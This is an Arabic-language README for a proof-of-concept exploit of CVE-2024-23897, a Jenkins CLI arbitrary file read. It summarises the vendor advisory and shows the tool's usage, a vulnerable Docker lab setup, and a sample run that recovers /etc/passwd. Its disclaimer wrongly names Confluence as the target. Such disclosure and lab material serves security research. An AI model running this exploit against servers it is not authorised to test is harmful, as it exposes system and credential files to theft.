
يقدم هذا المستودع إثباتًا لمفهوم CVE-2024-23897
يقدم هذا المستودع إثبات مفهوم لثغرة CVE-2024-23897 (اكتُشفت بواسطة sonarsource)
هذا الكود هو إثبات مفهوم للثغرة، ولا أشجع أحدًا على استخدامه على مثيلات Confluence التي لا يملكونها.
تم تطوير هذه الأداة لأغراض البحث والتعليم فقط، ولن أتحمل المسؤولية عن أي استخدام قد تقوم به لها.
وفقًا للاستشارة الأمنية Jenkins 2024-01-24 : تستخدم Jenkins مكتبة args4j لتحليل وسائط الأوامر وخياراتها على وحدة تحكم Jenkins عند معالجة أوامر CLI. تحتوي أداة التحليل هذه على ميزة تستبدل حرف @ متبوعًا بمسار ملف في إحدى الوسائط بمحتوى الملف (expandAtFiles). هذه الميزة مفعّلة افتراضيًا ولا تقوم Jenkins 2.441 والإصدارات الأقدم، وLTS 2.426.2 والإصدارات الأقدم بتعطيلها. وهذا يسمح للمهاجمين بقراءة ملفات عشوائية على نظام ملفات وحدة تحكم Jenkins باستخدام ترميز الأحرف الافتراضي لعملية وحدة تحكم Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)